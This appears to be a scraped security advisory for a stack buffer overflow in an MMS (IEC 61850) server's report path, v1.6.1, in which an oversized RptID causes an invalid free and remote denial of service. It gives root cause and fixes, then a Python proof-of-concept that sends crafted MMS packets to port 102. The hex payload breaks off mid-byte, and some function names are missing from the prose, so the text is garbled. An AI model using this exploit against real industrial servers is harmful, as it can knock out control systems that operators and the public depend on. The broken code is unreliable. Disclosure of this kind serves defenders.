MMS RptID Stack Buffer Overflow Causing DoS Vulnerability #2 with POC

Vulnerability Overview Vulnerability Name: Oversized RptID can trigger invalid free of a stack-backed visible string in the report send path #2 Vulnerability Type: Stack-based buffer overflow Affected Versions: v1.6.1 Impact Scope: Remote Denial of Service (Remote DoS) Mitigation: Fix the stack overflow issue and add input validation. Vulnerability Details Description: When a client sends an oversized to the Report Control Block (RCB) and enables reporting, the server accepts the write request but crashes when sending the report. The crash occurs in the function, where is wrapped into a temporary visible string and passed to . If the actual exceeds the capacity of the stack buffer, the generic visible string update logic enters the resizing and freeing path, resulting in an invalid call, which causes the crash. Root Cause: In , the of the points to a local array (stack-allocated) rather than heap-allocated memory. When attempts to resize and free the buffer, it triggers an invalid call. Mitigation Recommended Fixes: 1. Do not pass stack-backed visible strings to . 2. Reject oversized values in the RCB write path. POC Code ```python #!/usr/bin/env python3 import socket import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 102 OPT_C = bytes.fromhex( "70 09 00 00 " "11 e0 00 00 01 00 c9 01 5d c2 02 60 01 c1 02 00 01" ) AARQ_INITIATE = bytes.fromhex( "03 00 00 00 " "02 7f 80 00 " "50 02 02 06 13 01 00 10 01 02 14 02 02 03 02 00 01 34 02 00 01 " "c1 3c 31 01 09 01 03 00 01 01 a2 01 01 01 04 00 00 00 01 02 04 00 00 00 01 " "34 10 30 07 02 02 00 00 02 02 00 01 00 00 00 02 01 01 " "30 10 02 01 03 00 00 05 20 2a 22 02 01 30 04 00 02 51 01 " "50 54 30 5c 02 01 01 a0 57 00 05 " "a2 07 00 05 20 2a 22 02 01 " "a2 07 00 05 20 2a 01 07 01 " "a3 03 02 01 0c " "a5 00 00 04 20 01 07 07 " "a5 00 02 02 0c " "be 2f 20 2d 02 01 03 a0 20 00 26 00 00 7d 01 01 01 02 01 05 01 03 01 0a " "a4 10 00 01 01 02 03 05 f1 00 02 0c 03 ee 00 00 00 00 00 00 79 0f 10" ) prefix = bytes.fromhex( "03 00 02 06 02 07 00 01 00 00 01 01 02 02 5f 30 02 02 50 02 01 03 a0 02 54 a0 02 02 50 " "02 01 02 02 02 02 00 02 01 37 31 31 a0 01 26 1a 11 73 69 60 70 7c 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 0

Goal Reached Thanks to every supporter — we hit 100%!

MMS RptID Stack Buffer Overflow Causing DoS Vulnerability #2 with POC

More from this source